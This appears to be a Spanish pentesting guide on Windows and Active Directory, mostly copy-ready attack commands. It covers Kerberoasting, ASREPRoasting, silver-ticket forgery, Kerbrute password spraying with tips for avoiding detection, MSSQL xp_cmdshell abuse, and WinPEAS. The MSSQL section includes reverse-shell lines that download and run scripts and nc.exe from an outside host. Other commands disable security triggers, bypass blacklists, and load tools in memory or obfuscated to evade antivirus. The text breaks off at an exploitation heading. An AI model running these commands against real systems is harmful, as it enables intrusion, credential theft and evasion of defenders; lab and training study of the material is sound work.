Entrada

Windows Pentesting y Active Directory - Guía Completa

Windows Pentesting y Active Directory - Guía Completa

Windows Pentesting y Active Directory - Guía Completa

🖥️ Enumeración de Windows

Información Básica del Sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Información completa del sistema
systeminfo

# Nombre del equipo
hostname

# Usuario actual
whoami
echo %username%

# Privilegios del usuario actual
whoami /priv

# Toda la información del token
whoami /all

# Información específica de un usuario
net user usuario
net user usuario /domain

💡 Si systeminfo devuelve “Access is Denied”:

1
2
3
4
5
# Consultar directamente el registro
reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName

# Build number
reg query "hklm\software\microsoft\windows nt\currentversion" /v CurrentBuild

Enumeración de Usuarios y Grupos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Listar usuarios locales
net users
net localgroup

# Listar miembros de Administradores
net localgroup administrators

# Con PowerShell (más detallado)
Get-LocalGroupMember administrators

# Usuarios del dominio
net user /domain
net group /domain

# Grupos del dominio
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Controllers" /domain

Información de Red

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Configuración de red completa
ipconfig /all

# Tabla de enrutamiento
route print

# Caché ARP (descubrir otros hosts)
arp -A

# Conexiones activas y puertos en escucha
netstat -ano

# Estado del firewall
netsh firewall show state
netsh firewall show config

# Alternativa moderna
netsh advfirewall show allprofiles

Enumeración de Servicios y Procesos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Listar todos los procesos
tasklist /v

# Con PowerShell
Get-Process

# Listar servicios en ejecución
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# Servicios con inicio automático
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.StartMode -like 'Auto'}

# Buscar servicio específico
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

# Proceso escuchando en puerto específico
Get-Process -Id (Get-NetTCPConnection -LocalPort 8888).OwningProcess

Enumeración de Software Instalado

1
2
3
4
5
# Programas desinstalables (x64)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# Programas instalados (x86)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Historial de PowerShell

1
2
3
4
5
6
7
8
9
# Leer historial de comandos de PowerShell
Get-Content (Get-PSReadlineOption).HistorySavePath

# Alternativa manual
Get-Content C:\Users\usuario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_History.txt

# Buscar archivo de historial en todo el sistema
Get-ChildItem -Path C:\ -Filter ConsoleHost_history.txt -Recurse -ErrorAction SilentlyContinue -Force
Get-ChildItem -Path C:\ -Filter ServerRemoteHost_history.txt -Recurse -ErrorAction SilentlyContinue -Force

Enumeración SPN (Service Principal Names)

1
2
3
4
# Extraer cuentas y nombres en el SPN
setspn.exe -T medin -Q */*
setspn.exe -F -Q */*
setspn.exe -Q */@contoso.com

🎯 ¿Por qué es importante? Los SPNs están asociados a cuentas de servicio, que pueden ser vulnerables a Kerberoasting.


🏰 Active Directory

Conceptos Fundamentales

Active Directory (AD) es el servicio de directorio de Microsoft usado en la mayoría de entornos empresariales. Componentes clave:

  • Domain Controller (DC): Servidor que gestiona el dominio
  • Forest: Colección de uno o más dominios
  • Trust: Relación de confianza entre dominios
  • OU (Organizational Unit): Contenedor para organizar objetos
  • GPO (Group Policy Object): Políticas aplicadas a usuarios/equipos

Enumeración con PowerView

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Importar PowerView
Import-Module .\PowerView.ps1

# Información del dominio
Get-NetDomain

# Controladores de dominio
Get-NetDomainController

# Listar todos los usuarios
Get-NetUser | select samaccountname, description

# Buscar usuarios con SPN (Kerberoastable)
Get-NetUser -SPN | select samaccountname, serviceprincipalname

# Listar grupos
Get-NetGroup | select samaccountname

# Miembros de Domain Admins
Get-NetGroupMember "Domain Admins"

# Equipos del dominio
Get-NetComputer | select name, operatingsystem

# Buscar shares
Invoke-ShareFinder

# Buscar archivos interesantes en shares
Invoke-FileFinder

Enumeración con BloodHound

BloodHound es LA herramienta para mapear rutas de ataque en AD.

Recolección de datos desde máquina comprometida

1
2
3
4
5
6
7
8
# Subir SharpHound.ps1 a la máquina objetivo
Import-Module .\SharpHound.ps1

# Recolectar toda la información
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ -OutputPrefix "audit"

# Solo usuarios y sesiones (más rápido)
Invoke-BloodHound -CollectionMethod UserSessions,SessionLoop -OutputDirectory C:\Temp\

Recolección remota (desde Kali)

1
2
3
4
5
# Con bloodhound-python
bloodhound-python -c all -u 'user' -p 'password' -ns 10.10.10.200 -d domain.local

# Con netexec (antes crackmapexec)
netexec ldap DC01.domain.local -u user -p password --bloodhound --collection All --dns-tcp --dns-server 10.10.10.200

Iniciar BloodHound

1
2
3
4
5
6
7
8
9
# Iniciar base de datos Neo4j
sudo neo4j console

# En otra terminal, iniciar BloodHound
bloodhound

# Credenciales por defecto:
# Usuario: neo4j
# Password: neo4j (cambiar en primer inicio)

Consultas útiles en BloodHound:

  • “Find Shortest Paths to Domain Admins”
  • “Find Principals with DCSync Rights”
  • “Shortest Path from Owned Principals”
  • “Find Kerberoastable Users”
  • “Users with Foreign Domain Group Membership”

🎫 Kerberos Attacks

¿Qué es Kerberos?

Kerberos es el protocolo de autenticación de Active Directory. Usa tickets para autenticar usuarios sin enviar contraseñas por la red.

Componentes principales:

  • KDC (Key Distribution Center): Servicio en el DC
  • TGT (Ticket Granting Ticket): Ticket inicial del usuario
  • TGS (Ticket Granting Service): Ticket para acceder a un servicio específico
  • PAC (Privilege Attribute Certificate): Información de autorización

ASREPRoasting (Sin autenticación)

¿Qué es? Usuarios con UF_DONT_REQUIRE_PREAUTH habilitado no requieren pre-autenticación Kerberos, permitiéndonos solicitar un TGT sin contraseña.

Enumeración y explotación

1
2
3
4
5
6
7
8
9
10
11
# Enumerar usuarios vulnerables (sin autenticación)
impacket-GetNPUsers domain.local/ -no-pass -usersfile valid_users.txt

# Con credenciales (más efectivo)
impacket-GetNPUsers domain.local/user:password -request

# Solo con usuario (pedirá contraseña)
impacket-GetNPUsers domain.local/user

# Ejemplo de salida:
# $krb5asrep$23$usuario@DOMAIN.LOCAL:hash_aqui...

Crackear hash obtenido

1
2
3
4
5
# Con John the Ripper
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Con Hashcat
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --force

🎯 MITRE ATT&CK: T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting

Kerberoasting (Requiere autenticación)

¿Qué es? Cuentas de servicio tienen SPNs registrados. Podemos solicitar TGS para estos servicios y crackear offline.

1
2
3
4
5
6
7
8
9
10
# Solicitar TGS de todas las cuentas con SPN
impacket-GetUserSPNs 'domain.local/usuario:password' -request

# Guardar en archivo
impacket-GetUserSPNs 'domain.local/usuario:password' -request -outputfile kerberoast.txt

# Con Kerberos (si NTLM está deshabilitado)
impacket-GetUserSPNs 'domain.local/usuario:password' -k -dc-ip dc1.domain.local -request

# Nota: Agregar 'dc1.domain.local' a /etc/hosts primero

⚠️ Fix para error “Exceptions must derive from BaseException”:

Editar /usr/share/doc/python3-impacket/examples/GetUserSPNs.py línea 260:

1
2
3
4
# Cambiar:
target = self.getMachineName()
# Por:
target = self.__kdcHost

Crackear TGS obtenido

1
2
3
4
5
6
7
8
# Con John the Ripper
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

# Listar formatos disponibles
john --list-formats | grep krb

# Con Hashcat
hashcat -m 13100 -a 0 kerberoast.txt /usr/share/wordlists/rockyou.txt --force

🎯 MITRE ATT&CK: T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

Pass-the-Ticket (PTT)

1
2
3
4
5
6
7
8
9
10
11
# Solicitar TGT con credenciales
impacket-getTGT domain.local/user:password

# Resultado: user.ccache

# Exportar ticket a variable de entorno
export KRB5CCNAME=user.ccache

# Usar ticket para autenticarse
impacket-mssqlclient dc1.domain.local -k
impacket-psexec dc1.domain.local -k

Silver Ticket (Service Account Compromise)

Requisitos:

  • Hash NTLM de cuenta de servicio
  • SPN del servicio
  • Domain SID
  • Nombre de usuario objetivo (ej: Administrator)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Obtener Domain SID
impacket-getPac domain.local/user:password -targetUser Administrator

# O con script especializado
SIDKerberos.py domain.local/user -k -no-pass -dc-ip 10.10.11.168 -dc-host dc1.domain.local -all

# Obtener SPN
impacket-GetUserSPNs domain.local/user:password

# Generar hash NTLM de contraseña (si tenemos contraseña)
# Usar: https://codebeautify.org/ntlm-hash-generator
# O: echo -n 'Password123!' | iconv -t utf16le | openssl md4

# Crear Silver Ticket
impacket-ticketer -spn MSSQLSvc/dc1.domain.local \
  -domain-sid S-1-5-21-2356742346-1246457893-5930582943 \
  -dc-ip dc1.domain.local \
  -nthash b999a16500b87d17ec7f2e2a68778f05 \
  Administrator \
  -domain domain.local

# Resultado: Administrator.ccache

# Exportar y usar
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient dc1.domain.local -k

🎯 MITRE ATT&CK: T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket

Sincronización de Reloj (Crítico para Kerberos)

1
2
3
4
5
6
# Kerberos requiere sincronización de tiempo (max 5 min diferencia)
sudo ntpdate -u domain.local

# Si ntpdate no funciona, usar ntpsec
sudo systemctl start ntpsec
sudo ntpdate -u domain.local

Configurar servidores NTP confiables en /etc/ntpsec/ntp.conf:

1
2
3
4
pool ntp.api.bz iburst
pool asia.pool.ntp.org iburst
pool time.nist.gov iburst
pool time.windows.com iburst

Kerbrute - Enumeración y Bruteforce de Kerberos

Kerbrute es una herramienta escrita en Go que aprovecha la pre-autenticación Kerberos para realizar enumeración de usuarios y password spraying de forma rápida y sigilosa.

¿Por qué usar Kerbrute?

Ventajas:

  • Rápido: Escrito en Go con concurrencia nativa
  • Sin autenticación: No necesitas credenciales para enumerar usuarios
  • Sigiloso: No genera eventos de login fallido (Event ID 4625)
  • Evita bloqueos: Respeta políticas de lockout al usar pre-auth
  • No requiere agente: Funciona remotamente contra el DC

Desventajas:

  • ❌ Genera eventos de pre-autenticación (Event ID 4768)
  • ❌ Puede ser detectado por SOC si monitorean intentos masivos

Instalación

1
2
3
4
5
6
7
8
9
10
# Método 1: Desde releases de GitHub (recomendado)
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# Método 2: Compilar desde fuente (requiere Go)
go install github.com/ropnop/kerbrute@latest

# Verificar instalación
kerbrute --help

Repositorio: https://github.com/ropnop/kerbrute

Comandos Principales

Kerbrute tiene 3 modos principales de operación:

1. userenum - Enumerar usuarios válidos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Sintaxis básica
kerbrute userenum [opciones] -d DOMAIN --dc DC-IP USERLIST

# Ejemplo básico
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt

# Guardar resultados en archivo
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -o valid_users.txt

# Con verbose para ver más detalles
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -v

# Especificar puerto KDC personalizado (default: 88)
kerbrute userenum --dc 10.10.10.200:88 -d domain.local users.txt

# Ajustar threads (default: 10)
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -t 50

# Con delay entre intentos (evitar detección)
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt --delay 500

💡 Cómo funciona: Kerbrute envía peticiones de AS-REQ (pre-autenticación). Si el usuario existe, el DC responde con KRB_ERROR indicando que se requiere pre-autenticación. Si no existe, responde con PRINCIPAL_UNKNOWN.

2. passwordspray - Password spraying
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Sintaxis básica
kerbrute passwordspray [opciones] -d DOMAIN --dc DC-IP USERLIST PASSWORD

# Probar una contraseña contra lista de usuarios
kerbrute passwordspray --dc 10.10.10.200 -d domain.local valid_users.txt 'Password123!'

# Probar múltiples contraseñas desde archivo
kerbrute passwordspray --dc 10.10.10.200 -d domain.local valid_users.txt passwords.txt

# Con delay de 1 segundo entre intentos (más seguro)
kerbrute passwordspray --dc 10.10.10.200 -d domain.local users.txt 'Summer2024!' --delay 1000

# Safe mode: solo 1 intento por usuario (evitar lockout)
kerbrute passwordspray --dc 10.10.10.200 -d domain.local users.txt passwords.txt --safe

⚠️ ADVERTENCIA: Password spraying puede causar bloqueo de cuentas. Siempre:

  1. Enumera la política de lockout primero (netexec smb DC -u user -p pass --pass-pol)
  2. Usa --safe o --delay para espaciar intentos
  3. Limita a 1-2 intentos por cuenta
  4. Prueba contraseñas comunes: Password123!, Welcome2024!, CompanyName123!
3. bruteuser - Bruteforce de un usuario específico
1
2
3
4
5
6
7
8
# Sintaxis básica
kerbrute bruteuser [opciones] -d DOMAIN --dc DC-IP PASSWORDLIST USERNAME

# Bruteforce contra un usuario específico
kerbrute bruteuser --dc 10.10.10.200 -d domain.local passwords.txt administrator

# Con delay entre intentos
kerbrute bruteuser --dc 10.10.10.200 -d domain.local passwords.txt admin --delay 2000

⚠️ PELIGRO: Este modo es MUY ruidoso y casi seguro causará lockout. Úsalo solo si:

  • El usuario tiene política de lockout deshabilitada
  • Es un entorno de laboratorio
  • Tienes autorización explícita
4. bruteforce - Bruteforce combinado (usuarios + passwords)
1
2
3
4
5
6
7
# Probar todas las combinaciones usuario:password
kerbrute bruteforce --dc 10.10.10.200 -d domain.local userpass.txt

# Formato del archivo userpass.txt:
# usuario1:password1
# usuario2:password2
# admin:Admin123!

Opciones Globales

1
2
3
4
5
6
7
8
9
# Opciones comunes para todos los comandos:
--dc IP              # IP del Domain Controller (requerido)
-d, --domain STRING  # Dominio (requerido)
-o, --output FILE    # Guardar resultados en archivo
-t, --threads INT    # Número de threads (default: 10)
-v, --verbose        # Modo verbose
--delay MILLISEC     # Delay entre peticiones en ms
--safe              # Modo seguro (1 intento por usuario)
--downgrade         # Downgrade a RC4 encryption

Wordlists Recomendadas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Para enumeración de usuarios
/usr/share/seclists/Usernames/Names/names.txt                          # ~10k nombres comunes
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt       # ~10M usuarios (TOP)
/usr/share/seclists/Usernames/cirt-default-usernames.txt              # Usuarios por defecto
/usr/share/seclists/Usernames/kerberos_enum_userlists/A-ZSurnames.txt # Apellidos A-Z

# Para password spraying
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Passwords/darkweb2017-top1000.txt

# Crear wordlist personalizada con nombres de la empresa
echo "Welcome2024!" > company_passwords.txt
echo "CompanyName123!" >> company_passwords.txt
echo "Summer2024!" >> company_passwords.txt

Workflow Completo de Ataque

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Paso 1: Enumerar usuarios válidos
kerbrute userenum --dc 10.10.10.200 -d ACME.local \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -o valid_users.txt

# Paso 2: Limpiar resultados (solo nombres de usuario)
grep "VALID USERNAME" valid_users.txt | awk '{print $7}' | sed 's/@ACME.local//' > users_clean.txt

# Paso 3: Verificar política de lockout (con credenciales válidas)
netexec smb 10.10.10.200 -u 'guest' -p '' --pass-pol

# Paso 4: Password spraying con contraseñas estacionales
kerbrute passwordspray --dc 10.10.10.200 -d ACME.local \
  users_clean.txt 'Welcome2024!' --delay 1000 -o spraying_results.txt

# Paso 5: Si encontramos credenciales, validar con NetExec
netexec smb 10.10.10.200 -u found_user -p 'Welcome2024!'

Detección y Evasión

Eventos generados en el DC:

  • Event ID 4768: Kerberos AS-REQ (por cada intento)
  • Event ID 4771: Kerberos pre-authentication failed (si usas password incorrecto)

Cómo evitar detección:

1
2
3
4
5
6
7
8
9
10
11
# 1. Usar delay entre intentos (1-2 segundos)
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt --delay 1500

# 2. Reducir threads
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -t 1

# 3. Distribuir intentos en tiempo (usar scripts con sleep)
while read user; do
  kerbrute userenum --dc 10.10.10.200 -d domain.local <(echo "$user")
  sleep $((RANDOM % 10 + 5))  # Sleep aleatorio 5-15 segundos
done < users.txt

Troubleshooting

Error: “Couldn’t find any KDCs”

1
2
3
4
5
6
7
8
# Solución 1: Verificar conectividad al puerto 88
nc -zv 10.10.10.200 88

# Solución 2: Especificar DC explícitamente con puerto
kerbrute userenum --dc 10.10.10.200:88 -d domain.local users.txt

# Solución 3: Agregar al /etc/hosts
echo "10.10.10.200 dc1.domain.local" | sudo tee -a /etc/hosts

Error: “Clock skew too great”

1
2
3
4
5
# Sincronizar reloj con el DC
sudo ntpdate -u 10.10.10.200

# O usar rdate
sudo rdate -n 10.10.10.200

Muy lento

1
2
3
4
5
# Aumentar threads (cuidado con detección)
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -t 50

# Usar wordlist más pequeña
head -1000 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt > top1k.txt

Tips y Trucos

1. Generar lista de usuarios basada en empleados de LinkedIn

1
2
3
4
5
6
# Descargar nombres de empleados de la empresa en LinkedIn
# Usar herramienta como linkedin2username
python linkedin2username.py -c "Acme Corporation" > employees.txt

# Convertir a formato usuario
# juan.perez -> jperez, juanp, juan.perez, etc

2. Combinar con ASREPRoasting

1
2
# Usuarios encontrados con kerbrute pueden ser ASREPRoastables
impacket-GetNPUsers domain.local/ -no-pass -usersfile valid_users.txt

3. Monitorear progreso en tiempo real

1
2
# Usar verbose y tee para log
kerbrute userenum --dc 10.10.10.200 -d domain.local users.txt -v | tee kerbrute.log

🎯 MITRE ATT&CK: T1589.002 - Gather Victim Identity Information: Email Addresses


🗄️ MS SQL Server

Conexión a MSSQL

1
2
3
4
5
6
7
8
# Con impacket-mssqlclient
impacket-mssqlclient -p 49700 user@HOST -windows-auth

# Con usuario y contraseña
impacket-mssqlclient user:password@10.13.38.11

# Con Kerberos
impacket-mssqlclient dc1.domain.local -k

Enumeración de Base de Datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Listar logins
SELECT name FROM master..syslogins;

# Logins con permisos de sysadmin
SELECT name FROM master..syslogins WHERE sysadmin = '1';

# Permisos del usuario actual
SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');

# Listar bases de datos
SELECT name FROM master.sys.databases;

# Seleccionar base de datos
USE nombre_base_datos;

# Listar tablas
SELECT * FROM nombre_base_datos.information_schema.tables;
SELECT table_name,table_schema FROM nombre_base_datos.information_schema.tables;

# Mostrar datos de tabla
SELECT * FROM tabla;

Habilitar xp_cmdshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Verificar si está habilitado
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# Habilitar (forma larga)
SP_CONFIGURE "show advanced options", 1
RECONFIGURE
SP_CONFIGURE "xp_cmdshell", 1
RECONFIGURE

# Forma corta
EXEC sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Si hay triggers de seguridad bloqueando xp_cmdshell:

1
2
3
4
5
# Listar triggers activos
select name from sys.server_triggers;

# Deshabilitar trigger
disable trigger ALERT_xp_cmdshell on all server

Ejecución de Comandos

1
2
3
4
5
6
7
8
# Ejecutar comando
EXEC master..xp_cmdshell 'whoami'

# Listar directorios
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

# Ver archivos de un directorio
EXEC xp_cmdshell 'dir C:\inetpub\wwwroot'

Obtener Hash NTLM con Responder

1
2
3
4
5
6
7
# En Kali, iniciar Responder
sudo responder -I tun0

# En MSSQL, hacer que conecte a nuestro SMB
EXEC xp_dirtree '\\10.10.16.30\share', 1, 1;

# Resultado: Capturamos hash NetNTLMv2

Reverse Shell desde MSSQL

1
2
3
4
5
6
# Descargar y ejecutar script PowerShell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# O usando bitsadmin
EXEC xp_cmdshell 'bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.14.13:8000/nc.exe C:\Temp\nc.exe'
EXEC xp_cmdshell 'C:\Temp\nc.exe -e cmd.exe 10.10.14.13 443'

Bypass Blacklist de “EXEC xp_cmdshell”

1
2
3
# Si "EXEC xp_cmdshell" está en blacklist
DECLARE @x AS VARCHAR(100)='xp_cmdshell';
EXEC @x 'ping 10.10.14.13';

Ejecutar Scripts Python/R

1
2
3
4
5
6
7
8
# Ejecutar código Python
EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';

# Leer archivo
EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("type C:\inetpub\wwwroot\web.config");';

# Conexiones de red
EXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("netstat -ano");';

Linked Servers (Pivoting SQL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Ver nombre del servidor actual
select @@servername

# Listar servidores vinculados
select srvname from sysservers;

# Ejemplo de salida:
# COMPATIBILITY\POO_CONFIG
# COMPATIBILITY\POO_PUBLIC

# Ejecutar query en servidor vinculado
EXECUTE ('select @@servername;') at [COMPATIBILITY\POO_CONFIG];

# Ver usuario con el que nos conectamos
EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];

# Ver permisos
EXECUTE ('SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''SERVER'');') at [COMPATIBILITY\POO_CONFIG];

# Doble salto (servidor -> servidor -> servidor)
EXEC ('EXEC (''select @@servername;'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];

Crear usuario admin en linked server

1
2
3
4
5
6
7
8
# Crear login
EXECUTE('EXECUTE(''CREATE LOGIN df WITH PASSWORD = ''''qwe123QWE!@#'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]

# Agregar a sysadmin
EXECUTE('EXECUTE(''EXEC sp_addsrvrolemember ''''df'''', ''''sysadmin'''''') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG]

# Conectar con nuevo usuario
mssqlclient.py 'df:qwe123QWE!@#@10.13.38.11'

🎯 MITRE ATT&CK: T1210 - Exploitation of Remote Services


🔐 Escalada de Privilegios

WinPEAS - Windows Privilege Escalation Awesome Scripts

WinPEAS es la herramienta de enumeración automatizada MÁS COMPLETA para privilege escalation en Windows. Es parte del proyecto PEASS-ng (Privilege Escalation Awesome Scripts).

Repositorio oficial: https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS

¿Por qué usar WinPEAS?

Ventajas:

  • Exhaustivo: Revisa +170 checks de privilege escalation
  • Automatizado: No necesitas conocer todos los vectores de privesc
  • Código coloreado: Indica criticidad de los hallazgos
  • Múltiples formatos: .exe, .bat, .ps1, obfuscado
  • Detección inteligente: Identifica CVEs aplicables al sistema
  • Fast mode: Escaneo rápido para CTFs
  • Actualización constante: Comunidad activa

Desventajas:

  • ❌ Puede ser detectado por antivirus (existen versiones ofuscadas)
  • ❌ Genera mucho output (puede ser abrumador)
  • ❌ Ejecuta muchos comandos (puede generar logs)

Instalación y Descarga

Opción 1: Descarga directa (Recomendado para CTFs)

1
2
3
4
5
6
7
8
# Desde máquina víctima (si tiene internet)
certutil.exe -urlcache -f http://10.10.14.50:8000/winPEASx64.exe winPEAS.exe

# O con PowerShell
IWR -Uri http://10.10.14.50:8000/winPEASx64.exe -OutFile winPEAS.exe

# O con bitsadmin
bitsadmin /transfer mydownload http://10.10.14.50:8000/winPEASx64.exe C:\Temp\winPEAS.exe

Opción 2: Desde GitHub Releases (últimas versiones)

1
2
3
4
5
6
7
8
9
# En tu Kali, descargar la última versión
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat

# Servir con Python HTTP server
python3 -m http.server 8000

# Transferir a víctima con certutil/IWR/SMB

Opción 3: Ejecutar desde memoria (sin tocar disco)

1
2
3
4
5
6
# WinPEAS en PowerShell (ejecutar desde memoria)
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.50:8000/winPEAS.ps1')

# O con Invoke-WebRequest
$wp = Invoke-WebRequest -Uri http://10.10.14.50:8000/winPEAS.ps1 -UseBasicParsing
IEX($wp.Content)

Opción 4: Versión ofuscada (AV bypass)

1
2
# WinPEAS tiene versiones ofuscadas para evadir AV
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64_ofs.exe

Versiones Disponibles

VersiónDescripciónUso Recomendado
winPEASx64.exeEjecutable 64-bit compiladoWindows 10/11/Server 2016+
winPEASx86.exeEjecutable 32-bit compiladoWindows 7/8/Server 2008/2012
winPEAS.batBatch script (no requiere .NET)Sistemas legacy, UAC bypass
winPEAS.ps1PowerShell scriptEjecución desde memoria
winPEASx64_ofs.exeOfuscado para evasión AVEntornos con antivirus activo

Parámetros y Opciones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Ayuda completa
.\winPEASx64.exe -h

# OPCIONES PRINCIPALES:
# -h                  : Mostrar ayuda
# quiet               : No mostrar banner
# notcolor            : Sin colores (útil para redirigir a archivo)
# systeminfo          : Solo información del sistema
# userinfo            : Solo información de usuarios
# procesinfo          : Solo información de procesos
# servicesinfo        : Solo información de servicios
# applicationsinfo    : Solo software instalado
# networkinfo         : Solo configuración de red
# windowscreds        : Solo credenciales almacenadas
# browserinfo         : Solo datos de navegadores
# filesinfo           : Solo archivos interesantes
# eventsinfo          : Solo Event Logs
# domain              : Forzar enumeración de dominio
# wait                : Esperar input antes de terminar (útil para shells inestables)

Ejemplos de Uso

Escaneo completo (Recomendado)

1
2
3
4
5
6
7
8
# Ejecutar todos los checks (puede tardar 5-10 minutos)
.\winPEASx64.exe

# Guardar output en archivo (sin colores)
.\winPEASx64.exe notcolor > winpeas_output.txt

# Con colores en archivo (revisar con less -R en Linux)
.\winPEASx64.exe > winpeas_colored.txt

Modo rápido (Fast scan para CTFs)

1
2
3
4
5
# Solo checks más comunes (tarda ~2 minutos)
.\winPEASx64.exe fast

# Fast + guardar output
.\winPEASx64.exe fast notcolor > winpeas_fast.txt

Checks específicos

1
2
3
4
5
6
7
8
9
10
11
# Solo información del sistema (OS, patches, arquitectura)
.\winPEASx64.exe systeminfo

# Solo credenciales almacenadas (WiFi, RDP, navegadores)
.\winPEASx64.exe windowscreds

# Solo servicios vulnerables
.\winPEASx64.exe servicesinfo

# Solo archivos interesantes (config, logs, backups)
.\winPEASx64.exe filesinfo

Ejecución silenciosa (sin banner)

1
2
# Sin banner ni colores (ideal para parsear con scripts)
.\winPEASx64.exe quiet notcolor > output.txt

Enumeración de Active Directory

1
2
# Forzar checks de dominio (si estás en AD)
.\winPEASx64.exe domain

Interpretación de Colores

WinPEAS usa el mismo sistema de colores que LinPEAS:

ColorSignificadoProbabilidad PrivescAcción
🔴 ROJOCrítico - Escalada casi garantizada95-99%⚡ Explotar INMEDIATAMENTE
🟡 AMARILLOInteresante - Vector potencial70-90%🔍 Investigar a fondo
🟢 VERDEInformativo - Contexto útil10-50%📝 Tomar nota para después
🔵 AZULInformativo - Datos generales<10%📋 Contexto del sistema

Workflow Recomendado con WinPEAS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# PASO 1: Ejecutar WinPEAS completo y guardar output
.\winPEASx64.exe notcolor | Tee-Object -FilePath winpeas.txt

# PASO 2: En Kali, analizar el output buscando ROJOS
cat winpeas.txt | grep -i "99\|95"  # Buscar porcentajes altos

# PASO 3: Buscar secciones críticas
cat winpeas.txt | grep -A 10 "AlwaysInstallElevated"
cat winpeas.txt | grep -A 10 "SeImpersonatePrivilege"
cat winpeas.txt | grep -A 10 "Unquoted Service Path"
cat winpeas.txt | grep -A 10 "Modifiable Services"
cat winpeas.txt | grep -A 10 "AutoLogon credentials"

# PASO 4: Priorizar vectores según criticidad
# 1º - SeImpersonatePrivilege → Potato exploits
# 2º - AlwaysInstallElevated → MSI malicioso
# 3º - Unquoted Service Paths → Service hijacking
# 4º - Modifiable Services → Service binary replacement
# 5º - Scheduled Tasks con permisos → Task hijacking
# 6º - Credenciales en archivos → Lateral movement
# 7º - Kernel exploits → Último recurso (puede crashear)

Ejemplo de Output y Análisis

Output ROJO (Crítico) - AlwaysInstallElevated

1
2
3
4
5
6
[+] Checking AlwaysInstallElevated
   [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
  [!] AlwaysInstallElevated set to 1 in HKLM!
  [!] AlwaysInstallElevated set to 1 in HKCU!
    HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated: 1
    HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated: 1

¿Qué significa? → Podemos instalar MSI como SYSTEM.

Explotación:

1
2
3
